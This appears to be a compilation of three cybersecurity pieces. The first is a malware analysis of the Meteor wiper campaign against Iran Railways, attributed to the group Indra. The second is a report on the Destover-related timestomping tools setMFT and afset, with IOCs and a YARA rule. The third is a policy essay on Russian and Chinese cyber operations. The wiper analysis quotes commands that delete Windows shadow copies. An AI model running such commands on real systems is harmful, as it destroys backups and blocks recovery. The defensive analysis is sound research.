A technical analysis of the tools, as well as the TTPs used by the underlying actor, are thoroughly described in this article. We share with the public Yara rules and a full list of indicators of compromise.
On Friday, July 9th, Iran’s railway infrastructure came under cyber-attack. According to Iranian news reports, hackers displayed messages about train delays or cancellations on information boards at stations across the country and urged passengers to call a certain phone number for further information. This number apparently belongs to the office of the country’s supreme leader, Ayatollah Ali Khamenei.
The very next day, July 10th, websites of Iran’s Ministry of Roads and Urbanization reportedly went out of service after another “cyber-disruption.” Iranian social media spread the photos of a monitor of one of the hacked computers, where the attackers took responsibility for both consecutive attacks.
A few days later, Iranian cybersecurity company Amnpardaz Software published a short technical analysis of a piece of malware supposedly related to these attacks, dubbed Trojan.Win32.BreakWin. Based on the information published, Check Point Research Team retrieved the files from publicly available resources and conducted a thorough investigation of them. The findings shared in this report were reviewed and evaluated by journalists and fellow researchers from other security vendors. During this time, SentinelOne released a report based on Amnpardaz’s analysis.
In this article, we first analyze the artifacts left by these attacks. Based on this analysis, we uncover a set of similar tools previously used in other operations during 2019-2020: carried against multiple targets in Syria, they did not attract much public attention at the time. We then share some insights into the tactics, techniques, and procedures (TTPs) of the underlying actor, which self-identifies as “Indra” and, according to some Iranian sources, may have ties to hacktivist or cybercriminal groups.
## Hunting for the files from the Iranian hack
With Amnpardaz’s threat database as our starting point, we searched for files with similar names and functionality. The search led us to dozens of files, all uploaded from the same two sources located in Iran. Even though we weren’t able to find all the mentioned artifacts, we recovered most of the execution flow as described in Amnpardaz’s report.
The execution flow is heavily based on multiple layers of archives and Batch scripts. When detonated, they:
- Attempt to evade anti-virus detection
- Destroy the boot configuration data
- Run the final payloads that aim to lock and completely wipe the computers in the network.
The execution starts with pushing a scheduled task from the AD to all the machines via group policy. The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool. The subsequent chain of .bat files and archives is intended to perform the following operations:
- Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY, or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. PIS in the hostnames stands for Passenger Information System, which is usually responsible among others for updating the platform boards with actual data, so attackers made sure their message to the Iranian public will be displayed properly.
- Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment.
- Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat, and bcd.bat.
- Disconnect the machine from all networks: the cache.bat script disables all the network adapters on the machine.
- Perform Anti-AV checks: the same cache.bat script also checks if Kaspersky Antivirus is installed on the machine and if not, it adds all the files and folders related to the attack to the Windows Defender exclusion list and proceeds with the execution.
- Corrupt the boot: bcd.bat is used in order to harm the boot process. First, it tries to override the boot file with new content and then deletes the different boot identifiers using Windows built-in BCDEdit tool.
- Remove all the traces: the same bcd.bat in addition to boot override also removes Security, System and Application Event Viewer logs from the system using wevtutil.
- Unleash the main payload: The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00.
## Analysis of the main payload — The Wiper
The main payload of the attack is an executable named msapp.exe, and its purpose is to take the victim machine out of service by locking it and wiping its contents. Upon execution, the malware hides this executable’s console window to decrease the suspicion of vigilant victims.
The wiper will refuse to function unless it is provided a path to an encrypted configuration file msconf.conf as a command-line argument. The configuration file allows some degree of flexibility during the execution of the payload and gives the attacker the ability to tailor the attack to specific victims and systems.
The configuration format used supports multiple fields, which jointly hint at this binary’s role in the attack.
### Supported Configuration Fields
- auto_logon_path
- log_file_path
- cleanup_scheduled_task_name
- log_server_ip
- cleanup_script_path
- log_server_port
- is_alive_loop_interval
- paths_to_wipe
- locker_background_image_jpg_path
- process_termination_timeout
- locker_background_image_bmp_path
- processes_to_kill
- locker_exe_path
- self_scheduled_task_name
- locker_installer_path
- state_encryption_key
- locker_password_hash
- state_path
- locker_registry_settings_files
- log_encryption_key
- wiping_stage_logger_interval
Not all these fields were actually used in the configuration file of the wiper targeting the Iranian networks, which might suggest that the tool was not created specifically for this attack (or otherwise, that its design fell victim to premature optimization).
If the configuration is parsed successfully, the program writes the string "Meteor has started." to an encrypted log file, suggesting that the internal name of the malware is “Meteor.” As we will see later on in this article, another name was used in previous attacks.
### Configuration steps
The malware next sets out to prevent the victim from stopping the ongoing infection. First, the machine is removed from the Active Directory domain by using WinAPI or WMI. This makes it harder to remotely push any remediation tools to the infected machines. Next, the malware proceeds to corrupt the computer’s boot configuration: in versions of Windows prior to Windows 7, the malware overrides the c:\boot.ini file; in Windows 7 and above, it deletes the BCD entries. Finally, the malware changes the password of the local users. In the files analyzed, all the passwords chosen by the actor have the same pattern: Aa153![random sequence], for example Aa153!rHrrdOvpCj or Aa153!IRro3d2JYm.
When all the above is said and done, the user will not recover access to their machine easily. At this stage, the malware disables the Windows screen saver, then changes both the desktop wallpaper and the lock screen images to a custom image. These are the pair of identical JPEG and BMP images presenting the logo of Iran’s Railways and the message similar to the one displayed on the platform boards of different railway stations in Iran: “Long delays due to cyber attacks. More information: 64411” message on the desktop wallpaper set up by the malware.
Something about this “long delays due to cyber attacks” message just tickles our fancy and betrays a somewhat surrealistic sense of humor on the attackers’ part. They could have written anything, but they chose that.
With the above done, the malware logs off all users and executes a small program — a “locker” — in a new thread. The path to the locker file named mssetup.exe is retrieved from the configuration. mssetup.exe will prevent the user from interacting with the machine by blocking inputs from the keyboard and mouse devices. Finally, before moving to its main cause — wiping the system — the malware creates a scheduled task that assures its own persistence in the system. The scheduled task will be executed every time the system starts.
As an aside, there is an extra step that didn’t take place in this specific attack; the malware is supposed to terminate all processes named in a processes_to_kill list specified in the configuration file. As it happens, the configurations used in the attacks against the Iranian targets did not contain this list, and so no processes were terminated. We will later show configuration files from previous attacks that did indeed use this feature.
### Wiper functionality
Internally, this part is called "Prefix Suffix wiper." As its name suggests, the malware gets a list of prefixes and suffixes from the configuration file and wipes the files that are matched by this rule. Another string in the malware — "Middle Wiper" — was probably used by this malware in the past in order to wipe the files that contain some unique substrings.
The wiping procedure itself is pretty simple. First, the malware goes over the files and directories from the paths_to_wipe config, fills them with zero-bytes instead of their real content, and then deletes them.
After the wiping procedure, the malware tries to delete the shadow copies by running the following commands: `vssadmin.exe delete shadows /all /quiet` and `C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete`. Finally, the malware enters an infinite loop where it sleeps based on the is_alive_loop_interval value from the configuration file and writes "Meteor is still alive." to the log in every iteration.
If all this rings familiar to you, it should; it’s all straight out from the ransomware playbook — except this isn’t ransomware, which requires delicate orchestration of public-key and private-key cryptography to make the machine ultimately recoverable; this is Nuke-it-From-Orbit-ware. It’s a one-way trip.
## Connecting the files to the recent attacks against Iranian targets
Our analysis of the files aligns with the analysis conducted by Amnpardaz. The flow of the attack is almost identical; the files have similar structure, the same names, and the same functionality. With that said, there are still some differences. For example, the update.bat script that we analyzed is not used by the earlier variants, which instead execute nti.exe — an MBR infector based on the one used by NotPetya. Another example is a slight difference between the configuration shown in the Amnpardaz report and the configuration that we analyzed. The minor differences are in the paths_to_wipe key.
Some of the files we’ve found contain artifacts that tie them to the attack against Iran Railways. One of them is the image the attackers used when replacing the victim’s wallpaper and lock screen image. As we mentioned before, the text that is shown is identical to the text the attackers displayed on the train stations.
Other pieces in the files we analyzed contain names and other artifacts from Iran Railways’ internal network, including computer names and internal Active Directory object names. For example, the envxp.bat file delivered a payload using a shared directory under the \\railways.ir machine.
This can suggest that the attackers had access to the system prior to unleashing the wiper. An article by the IRNA also mentions that experts who analyzed the attacks believe that they took place at least one month before being identified.
## Attacks Against Companies in Syria
Equipped with the information gathered so far, we went for a hunt to find more samples. Specifically, to find whether the attack on the Iranian targets was the first time that the attackers utilized these tools. Our queries quickly yielded results — files that were uploaded to Virus Total by three different submitters located in Syria. The files seemed to belong to three separate incidents and were uploaded to VT in January, February, and April 2020, more than a year before the recent attacks against the entities in Iran.
The main payloads appear to be the early versions of the Meteor wiper that was used against the targets in Iran. Similar to Meteor, they also contain multiple debug strings, which disclose the internal name of these versions of the wiper — Stardust and Comet. Out of these two versions, Comet is the older one, compiled back in September 2019. While we have the complete execution flow of the two attacks that utilized Stardust, we only have a partial view of the one where Comet was used. For this reason, we will focus more on the execution chain of Stardust.
Unlike the recent attacks where the Batch files were used during early infection stages, these Stardust executions are based on multiple VBS scripts. What’s more, these scripts contain valuable information — the identities of the attacks’ targets.
### The execution flow of the attacks against the Syrian companies
The execution flows of both attacks leveled at Syria in which Stardust was deployed are very similar and thus they will be described together. The initial payload that runs on the victim’s machine appears to be a VBS script resolve.vbs that extracts a password-protected RAR archive to the working folder C:\\Program Files\\Windows NT\\Accessories\\. This RAR contains another RAR file and three other VBS files. Then, the resolve.vbs script runs the extracted scripts in the following order:
1. The first script iterates over the installed programs and checks if Kaspersky Antivirus is installed. If so, it tries to uninstall it using hardcoded domain credentials.
2. The second script starts by checking if Kaspersky’s avp.exe process is running, and if so it tries to remove the Kaspersky license.
3. The last script extracts the second-stage RAR archive and runs an executable file that the archive contains. This stage is the earlier mentioned Stardust variant of the wiper.
During the execution of these scripts, several requests are made to a server in order to trace the different steps of the execution. These are GET requests to a URL with the following pattern, where C&C IP is different between the attacks.
## Who are the targets?
Multiple artifacts that were inspected during the analysis of these two Stardust operations in Syria point to the targeted companies — Katerji Group and its related company Arfada Petroleum — both located in Syria. First, the names of these companies appear in the VBS files as the parameters for the commands they executed to disable the Kaspersky AV. Another indication is the paths listed under the paths_to_wipe field in both configurations.
## Meet Indra
Our scrutiny revealed not only the attacks’ targets but also the identity of the group behind these operations — a group that calls itself “Indra” after the Hindu God of War. In fact, Indra did not try to hide that they are responsible for these operations and left their signature in multiple places.
The image that was displayed by the attackers on the victims’ locked computers announces “I am Indra” and takes responsibility for the attacks on Katerji group.
In addition, all samples of the wiper but Meteor contain multiple occurrences of the string “INDRA.” It is used by the Comet variant as the username of a newly created Administrator account. On Stardust though, it serves as an inert artifact and is not involved in execution.
We wondered whether this Indra attack group has any online presence, and in fact, they do. They operate multiple social network accounts on different platforms, including Twitter, Facebook, Telegram, and Youtube. Among other information, the accounts contain the disclosure of the attacks on the aforementioned companies.
Surveying this social network activity, one can get an idea of the group’s political ideology and motive for the attack, and even hear about some of the group’s previous operations. The title of INDRA’s official Twitter account states that they are “aiming to bring a stop to the horrors of QF and its murderous proxies in the region” and they claim to be very focused on attacking different companies who allegedly cooperate with the Iranian regime, especially with the Quds-Force and Hezbollah. Their posts are all written in English or Arabic (both don’t seem to be their native language), and most talk about opposing terror or offer document leaks from the various different companies that fell victim to the group’s attacks due to suspected ties to the Iranian Quads Force.
In their first message, posted September 2019, INDRA claims to have carried out a successful attack against the company Alfadelex, demolished their network, and leaked the customers’ and employees’ data. One of the pictures that were posted by Indra from the hack against Alfadelex shows a webcam photo of a person sitting in front of a computer as they were watching the image we found used by Comet on their screen.
## Previous Indra Operations
Summing up the social network activity of Indra, the actors claim to be responsible for the following attacks:
- September 2019: an attack against Alfadelex Trading, a currency exchange and money transfer services company located in Syria.
- January 2020: an attack against Cham Wings Airlines, a Syrian-based private airline company.
- February 2020 and April 2020: seizure of Afrada’s and Katerji Group’s network infrastructure. Both companies are situated in Syria as well.
- November 2020: Indra threatens to attack the Syrian Banias Oil refinery, though it is not clear whether the threat was carried out.
Around November 2020, all of Indra’s accounts fell silent. We weren’t able to find evidence of any additional operations until this latest one.
## Connecting Indra to the Attacks on Iranian Targets
The series of attacks on Syrian targets in 2019 and 2020 bears multiple similarities to the campaigns against the Iranian networks. These are similarities in the tools, the Tactics, Techniques and Procedures (TTP), as well as in the highly targeted nature of the attack, and they make us believe that Indra is also responsible for the recent attacks in Iran.
- The attacks are all directed against Iranian-related targets, whether it is Iran Railways and Iran’s Ministry of Roads in 2021, or Katerji, Arfada, Alfadelex, and other Syrian companies targeted in 2020 and 2019. Indra’s tweets and posts make it clear that they are targeting entities that they believe have ties with Iran.
- The multi-layered execution flow in all the attacks we analyzed — including the recent attacks against Iranian targets — uses script files and archive files as their means of delivery. The scripts themselves, although they are of different file types, had almost the same functionality.
- Execution flow relies on previous access and recon info about the targeted network. In case of Iranian intrusion, the attackers knew exactly which machines they need to leave unaffected in order to deliver their message publicly; furthermore, they had access to the railway’s Active Directory server which they used to distribute the malicious files. Another indication for the reconnaissance done by Indra is the screenshot they took from Alfadelex’s Web Camera, showing the office with an infected PC.
- The wiper is the final payload deployed on the computers of the victims in all the aforementioned attacks. Meteor, Stardust, and Comet are different versions of the same payload, and we do not have an indication that this tool was ever used by other threat actors.
- The actor behind the attacks we analyzed did not try to keep their attack a secret. They shared messages and displayed pictures announcing the attacks. In the attacks against the Iranian targets, these messages were displayed not only on affected computers but also on the platform boards.
Unlike their previous operations, Indra did not publicly take responsibility for the attacks in Iran. This might be explained by the seriousness of the new attacks, as well as their impact. While the attacks we inspected in Syria were carried against private companies, the attacks against Iran Railways and the Ministry of Roads and Urbanization targeted official Iranian entities. Moreover, the attacks in Syria received little media attention, whereas the attacks against the Iranian government were covered extensively all over the world and reportedly caused the Iranians some amount of grief.
## Conclusion
By carrying out an analysis of this latest attack against Iran, we were able to reveal its convoluted execution flow as well as two additional variants of the final ‘wiper’ component. These tools, in turn, were used previously in attacks against Syrian companies, for which the threat actor Indra took responsibility officially on their social media accounts. While Indra chose not to take responsibility for this latest attack against Iran, the similarities above betray the connection.
There are two lessons to be learned from this incident. First, anonymity is a one-way street. Once you sacrifice it to reap PR and obtain some sweet likes on Twitter, it is not so easily recovered. You can stop broadcasting your actions to the entire world and you might think that you’ve gone under the radar, but The Internet Remembers, and given enough motivation, it will deanonymize you, even if you’re a badass hacktivist threat actor.
Second, we should be more worried about attacks that are entirely possible but “clearly aren’t going to happen” according to the calculus of prevailing common wisdom. With all the trouble caused by cybercrime, hacktivism, nation-state meddling and so forth, the extent and sophistication of attacks in general is still a fraction of its complete potential; oftentimes, threat actors don’t do X, Y, Z even though they perfectly well could, and we come to rely on this truancy like it were a law of nature.
Cases like this, where said threat actors go ahead and do X, Y, Z, ought to raise our collective level of anxiety. As we said in the opening statement, this attack happened in Iran, but next month an equivalent attack could be launched by some other group targeting New York, and Berlin the month after that. Nothing prevents it, except threat actors’ limited patience, motivation, and resources, which — as we’ve clearly just seen — are sometimes not so limited after all. |
# Damballa discovers new toolset linked to Destover
**Attacker’s arsenal helps them to broaden attack surface**
November 18, 2015
Tags: Destover, malware, trojan
Destover is best known as the malware used in the attack on Sony Pictures Entertainment in November 2014, and also for its relationship based on its wiping technique with the Shamoon malware used in the attack on Saudi Aramco in 2012. The Destover trojan is a wiper that deletes files off of an infected system, rendering it useless.
Unlike most malware, the goal of Destover and other wiping malware is to cause damage for ideological and political reasons, not for financial gain. For example, at Sony, attackers wiped files off of workstations making them completely inoperative for unclear political goals of the attackers. The Saudi Aramco attack using Shamoon was so destructive it temporarily drove up the price of hard drives because an estimated 50,000 were needed to help Saudi Aramco recover, also for unclear ideological and political motives against the Al-Saud royal family.
Much was revealed in the weeks and months following these breaches, except for how attackers were able to stay undetected within the network long enough to expand their presence and exfiltrate terabytes of sensitive information.
While researching a newer sample of Destover, we came across two files that were identified by one antivirus product at the time under a generic signature. After analyzing further, we found two utilities closely related to Destover. Both utilities would be used during an attack to evade detection while moving laterally through a network to broaden the attack surface. Both utilities had usage statements and were named as setMFT and afset.
## What is setMFT?
setMFT is used to copy the timestamp settings from a source file on disk to a destination file, also called timestomping. Timestomping combined with similar file naming enables a file to blend in with legitimate files in the same directory. This can conceal a file’s existence from security personnel looking for malicious files or scans of files created after a certain date. Timestomping can get past a cursory check for malicious files. A thorough forensic examination will reveal that a file has been timestomped based on conflicting record dates and possibly log files.
The sample discovered by Damballa requires the presence of the file ‘usbdrv3.sys’ in the same directory. It turns out to be the renamed Eldos RawDisk driver used by Destover to gain direct access to disk. Either the driver is meant to be delivered with setMFT or is dropped along with setMFT from Destover itself. Destover and setMFT are related via the lengthy license key used with the Eldos driver:
`99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000DBBC7EF1579D4F`
Another feature is that this utility interacts with the attacker through the command line rather than being delivered and executed by a dropper without interaction. setMFT comes with an English usage statement in case the attacker forgets the placement of arguments.
## What is afset?
afset, like setMFT, is also used to timestomp files plus clean Microsoft Windows logs based on criteria (id, time) from the user. It also changes the PE build time and checksum. afset provides more granular functionality to allow the user to set only certain timestamps on a file (sia, fna or both). To achieve the timestomping and log cleaning functions, afset uses the RawDisk driver with the same lengthy license key.
The afset sample we obtained appeared to be incomplete or a partial development version. The sample attempted to write a randomly named file with a .sys extension to the local directory with the contents of the “ICONS” resource which is supposed to be the encoded RawDisk driver. However, it failed to decode on execution. If the driver write had completed it would have registered as a service using the same random driver name. Plus, it would have been used to obtain a handle to write the MFT record for the target file to match either a user supplied file or by default the file “%SYSTEMROOT%\system32\tapi32.dll”.
According to the handy usage statement, conditional log cleaning is only available on 32-bit systems. From our dynamic testing, it appears to clear the event log and then rewrite it without the offending entries. A full reversing of the log cleaning feature was not performed and dynamic analysis failed due to errors in the driver extraction routine from the resources. Fortunately, the usage statement gives insight to the full functionality of the tool: afset is used interactively on the target system. It allows the attacker to remain stealthy and erase their tracks as they move through the network. A full forensic analysis of a system would reveal the presence of afset and missing log activity but it’s likely this activity would go undetected initially creating high-risk infection dwell time.
For enterprise security teams, the utility of setMFT and afset means that many of the tools and methods they use to identify the presence of attackers would be thwarted. If the adversary gains access to corporate servers and can clean and redirect log files, they can prevent any evidence of their activity from reaching a SIEM or log analysis solution.
These tools appear to have limited distribution, which means that newer versions of the tools could go undetected by standard AV for an extended length of time. Also, as mentioned, the ability to have the tools blend with legitimate system files allows the attacker to evade detection during a cursory glance by personnel. These capabilities, when used together with tools that enable attackers to obtain network credentials and disable defenses, allows them to permeate the network undetected for an extended period of time.
## Conclusion
The attackers behind large and long-lasting attacks are very well organized, patient, and determined. Toolsets like Destover, afset, and setMFT are part of an arsenal used during a cyber attack. These tools are mainly used to help the attackers remain under the radar for months or longer. Gaining a foothold inside the victim’s network is a top priority. History tells us that in most of the high-profile hacks making news headlines, the attackers were able to spend months hidden inside the victim’s network exfiltrating terabytes of data.
### Attack modus-operandi:
**Steps**
**Reconnaissance**
**Tools**
Scanners, Open source intelligence gathering
**Steps**
**Breach**
**Tools**
Vulns, Exploits
**Steps**
**Foothold**
**Tools**
afset, setMFT, RATs, credential theft
**Steps**
**Move laterally**
**Tools**
Stolen administrative credentials and RATs
**Steps**
**Exfiltrate**
**Tools**
VPN accounts, RATs, out of band comms
**Steps**
**Delete tracks**
**Tools**
afset, setMFT, Destover / Shamoon
**Steps**
**Exit**
**Tools**
Publish stolen data, clean with Destover / Shamoon
The table above represents the different steps attackers would go through to penetrate a network and where they could use the new afset and setMFT utilities. They are used for different purposes and at different steps. There is no doubt that attackers are using these tools right now and are continuing to develop their capabilities.
## IOCs
**afset**
MD5: b5ddd6ed3bd16c6f438b3bc95a2b49a8
SHA256: 38c87a92694b597e5d402342ab4a9ff88b5b81beb2791405637bdca2b8384eac
**setMFT**
MD5: f83f9d1797f5dbd419dfa86987790153
SHA256: fe30da9e47010d3522d30ff90fb10d6c30302e8d16001c1a12c149b508888ab8
## YARA rule Destover
```yara
rule Destover {
meta:
description = "Rule to detect Destover trojan and associated tools by license key"
author = "Willis McDonald"
company = "Damballa Inc."
reference = "not set"
date = "2015/10/30"
strings:
$key = "99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000DBBC7EF1579D4F"
$MZ = "MZ"
condition:
$key and $MZ at 0
}
```
Willis McDonald
Sr. Threat Researcher
Loucif Kharouni
Sr. Threat Researcher |
# Incorporating the Cyberspace Domain: How Russia and China Exploit Asymmetric Advantages in Great Power Competition
March 15, 2021
Editor’s note: This article is the first in a series, “Full-Spectrum: Capabilities and Authorities in Cyber and the Information Environment.” The series endeavors to present expert commentary on diverse issues surrounding US competition with peer and near-peer competitors in the cyber and information spaces.
When it comes to America’s focus on great power competition, China and Russia loom large, making the analysis of these two competitors and their strategies a booming business for analysts and practitioners alike. But while Russia’s “Gerasimov doctrine” (which is not really a doctrine) and China’s “three warfares” are the focus of many articles, how these two states and their militaries act in cyberspace is less often discussed and less well understood.
Information operations play a central role in both the Russian and the Chinese ways of war, and cyber applications are a central mode by which information is applied as a tool of warfare. China conceives of “informationized warfare,” with the space and cyber domains described as becoming the “commanding heights of strategic competition.” Make no mistake: despite claims to the contrary, both China and Russia see themselves currently engaged in information warfare against the United States. This war is playing out principally in the cyber realm. The military application of information as an instrument of war—in isolation and in conjunction with other tools—is a central component of these states’ modern approaches to warfare. As Chief of the Russian General Staff General Valery Gerasimov himself observed, special operations forces leveraging information operations could be effectively employed to “defend and advance [Russia’s] national interests beyond” its borders. China, for its part, has developed and deployed dedicated information operations units skilled in cyberespionage and cyber-enabled information operations. This article serves to highlight some of the differences between how the United States, China, and Russia view cyberspace, and the ways Russia and China are using cyberspace operations to engage the United States asymmetrically.
One way in which both Russia and China view cyberspace operations differently than the United States is through their use of domestic proxies to confront opponents. To the United States, there is a clear bright line separating the employment of the state’s capabilities from those of private US citizens in cyberspace. Both China and Russia have no qualms employing commercial companies, “patriotic hackers,” or cybercriminals on behalf of the state. Of course, both China and Russia leave just enough space between the state and these proxy groups so that they can claim plausible deniability. Another important way in which the United States differs from China and Russia is in how it has organized its military to confront adversaries in cyberspace. In the United States, the government has divided control over cyberspace. While it has created a military command for the cyberspace domain, US Cyber Command (USCYBERCOM), it also rightfully allows information operations to intersect with each of the other commands. This means there is no particular US military command in charge of information operations. Rather, all commands share responsibility over this space. Russia and China view cyberspace very differently.
## Russian Cyberspace Operations
For Russia, a core tenet of successful information operations is to be at war with the United States, without Americans even knowing it (and the Kremlin can and does persistently deny it). The Kremlin views cyberspace holistically, to include electronic warfare, psychological operations, and information operations (including information warfare, or informatsionnaya voina). In Russia, the government has taken a much different view of cyberspace than the US government has, particularly the linking of cyberspace operations to special operations. The Russian Main Intelligence Directorate (GRU) of the General Staff has primacy in external cyberspace operations, to include espionage, information warfare, and offensive cyberspace operations. This comprehensive approach creates interesting synergies for the Russian military. In addition to the GRU, the Russian Federal Security Service (FSB) has a domestic operations division with an internal security and counterintelligence (CI) mission. The FSB (the old KGB) also undertakes external cyberspace operations stemming from its CI responsibilities. As such, its external operations sometimes conflict with the GRU’s cyberspace operations due to poor coordination (indeed, poor coordination plagues Russian special operations in general). For example, both the GRU and FSB unknowingly targeted the Democratic National Committee at the same time for a hack-and-dump operation. The final major Russian agency involved in cyberspace operations is the Foreign Intelligence Service (SVR), which conducts espionage on behalf of the Russian state and has become quite adept at cyberespionage as recently evinced in the SolarWinds hack.
Unlike the United States, Russia is not known to have a definitive cyberspace strategy, policy directive, or doctrine. Therefore, what researchers understand about Russian operations and activities in cyberspace is derived from the writings of Russian military scholars and official documents, and even teaching materials at the nation’s various military academies. From these sources, it is apparent that the Russian government views cyberspace primarily in terms of “information confrontation” and the technical infrastructure used to control information. To shape and control information, the Russian military takes a hybrid approach, integrating “special operations forces and non-kinetic political, economic, or informational measures.” Therefore, cyber is a central component of the Kremlin’s hybrid warfare model, or what Russia refers to as “asymmetric methods.”
Russian information operations are among the best in the world and Russia is not afraid to use them. Indeed, Russia believes that the tools of information warfare must be brought to bear early and often. To Russia, there is no distinction between information operations, to include those occurring in cyberspace, during times of war or peace. That said, by employing information operations before the start of a kinetic conflict, Russia may be able to achieve their desired strategic aims without having to resort to kinetic military operations. Even where it is still necessary to use kinetic force, information operations are nevertheless synergistic with the application of military force, by, for example, degrading the resolve of the opposing military force.
Control of information has been critical throughout Russia’s authoritarian past, during tsarist times, continuing during the history of the Soviet Union, and now under the current kleptocratic regime. All of these authoritarian governments came to realize that when they control information they can also shape the course of events within the country. Conversely, when they lose control of information, such as during the glasnost period, the government cannot control the narrative and may lose legitimacy among the population. Therefore, since Russia understands how susceptible it is to losing control over its own information space, it has also come to realize how vulnerable other countries are in this space, especially those countries that have deep societal cleavages. While Russia has become very proficient at disinformation campaigns to exploit societal cleavages, it is most adept when it can amplify or augment existing homegrown narratives. For example, Russia has long sought to exacerbate racial tensions in the United States. Russia was also implicated in a disinformation campaign to discredit the World Anti-Doping Agency as a “whole-of-society” approach (the operations include actors beyond the government) to highlight Western moral hypocrisy. More recently, Russian information operations headed by either the GRU or the FSB have targeted left-leaning organizations, like Peace Data, and right-leaning platforms, like Parler, to exacerbate existing tensions in the United States.
Cyberspace has become one area in which Russia has capitalized on the asymmetric power of operations and activities within the information space. As alluded to previously, the United States and Russia understand the domain and how to employ effects in and through cyberspace very differently. As such, the United States and Russia are fundamentally at odds over any sort of cyberspace rules of the road. This has particular significance in three areas: espionage, information warfare, and offensive cyberspace operations.
Russian cyberspace espionage is conducted to gather not only intelligence relating to national security, but also economic intelligence. Most recently, Russia was suspected of attempting to hack into pharmaceutical companies in search of COVID-19 research data. This hacking activity is an unsurprising development. As stated by Gen. Gerasimov, Russia must leverage all elements of national power, and this includes cyberespionage (and cyber-enabled economic warfare) to shape the information space and degrade an adversary’s capabilities. One of the more infamous acts of Russian cyberespionage involved a cutout group called the Shadow Brokers, which likely leveraged the work of the Russian cybersecurity firm Kaspersky to locate NSA-developed malware. This malware was possibly found among classified materials that a contractor brought home and operated on his personally owned computer. The EternalBlue exploits employed by Shadow Brokers subsequently wreaked havoc across the world.
When it comes to offensive cyberspace operations, or what the US military describes as deny, degrade, disrupt, destroy, and manipulate (D4M) operations, the GRU is the primary actor. The GRU’s dominance makes sense given that the SVR and FSB are more focused on espionage. However, since the GRU is a military organization first and not primarily concerned with stealth, its offensive cyberspace operations are known for being blunt and reckless, as seen in the NotPetya attack, the Saudi petrochemical attack, or the attacks against Ukraine’s power grid. These types of aggressive cyber actions that cause real-world effects will allow Russia to be a formidable force when combined with its traditional strengths in information operations and the insights gleaned through cyberespionage.
## Chinese Cyberspace Operations
Much like Russia, China also sees information operations as central to its conception of competition in cyberspace. In fact, the Chinese Communist Party (CCP)—and by extension its defender, the People’s Liberation Army (PLA)—views information operations via space, cyber, and electronic warfare as the “tip of the spear” in any future conflict to shape the narrative and obtain information superiority, thereby paralyzing a more powerful enemy. China further expanded upon its comprehension of cyberspace with the creation of the Strategic Support Force (SSF) in 2015. Some analysts view the SSF as an enhanced Chinese counterpart to USCYBERCOM. The SSF not only focuses on the traditional D4M operations of USCYBERCOM, but has also added space, electronic, and psychological warfare. Housing these different but complementary cyber-enabled capabilities within the same command is expected to create synergies that these capabilities cannot achieve on their own. Moreover, having a suite of functions under the same command during peacetime will give the CCP and PLA the ability to seamlessly transition to an integrated campaign during wartime.
While China has not openly published a cyberspace strategy, scholars and practitioners are in widespread agreement as to the CCP’s aims. It seeks to control the flow of information to and within China to ensure domestic stability (and halt the efforts of “splittists” who seek the disintegration of the PRC), and preserve economic growth through commercial espionage. By controlling dissent and driving economic growth, the CCP ensures that it is able to maintain power.
China asserts that just as every state is the sovereign within its own borders, each should likewise be the sovereign within its own cyberspace. Cyber sovereignty challenges the US view that information should be allowed to flow freely across borders. China considers the control of information within China to be as vital as “controlling the maritime domain in the eighteenth century or controlling the air domain in the twentieth century.” Therefore, to maintain harmony within China and produce disruptive effects beyond its borders, China has increasingly improved its information operations throughout recent years.
In regard to maintaining economic growth, China’s operations against economic targets and the commercial sector are viewed by former USCYBERCOM commander General Keith Alexander as “the greatest transfer of wealth in history.” While the CCP continues to claim that cyber economic espionage is not the work of the government but rather criminal elements within China, the cybersecurity group FireEye has been able to identify with a high degree of certainty that there are at least ten advanced persistent threats (APTs) operated by the CCP, nine of which focus on industrial espionage.
In addition to these government-supported APTs, China also has a very large patriotic hacker community that it can mobilize when needed. Due to the extensive cyberspace dragnet that the CCP has put in place, the government is aware of the activities of these hackers and can stop them when it so desires. However, the CCP has also employed this hacker network as an extension of the state while at the same time retaining plausible deniability since these patriotic hackers are not formally part of the state apparatus.
The CCP’s firm hold on power is a function of both its ability to maintain economic growth and its control over the flow of information in China. This explains why both economic cyberspace espionage and information operations have seen increased investment by the Chinese military in recent years. Moreover, the CCP has leveraged China’s commercial sector to support the state’s interests, as seen with the “Made in China 2025” plan that encourages Chinese companies to create dual-use technologies, which can also be employed by the military. This coupling of the state and private enterprise is seen in China’s Cyber Security Law and National Intelligence Law, the latter of which necessitates that “any organization and citizen shall, in accordance with the law, support, provide assistance, and cooperate in national intelligence work, and guard the secrecy of any national intelligence work that they are aware of.”
The Chinese state does not employ externally focused information operations nearly as effectively as their Russian counterparts. However, the Chinese state is constantly learning and likely gleaned a lot from Russia’s successful 2016 influence operations in the US political space. Traditionally, the Chinese state focused the majority of its information operations internally in order to maintain stability. However, with the rise of Xi Jinping, China has shifted some of their information operations from primarily being for domestic control to influencing the external environment. This is most evident in China’s projection of a newfound muscular international image and in its defensiveness over COVID-19. All that said, Chinese large-scale, external influence operations still need further refinement.
## Looking Ahead
In short, Russia and China view information and cyberspace operations differently than the United States does, and they are designing their operations and cyberinfrastructure to engage the United States asymmetrically. As previously noted and despite persistent claims to the contrary, both states see themselves currently engaged in information warfare against the United States. The military application of information as an instrument of war—in isolation and in conjunction with other tools—is a central component of these states’ modern approach to warfare, both today and into the foreseeable future. Recognition of this reality must undergird America’s cyberspace and information warfare policies and doctrine.
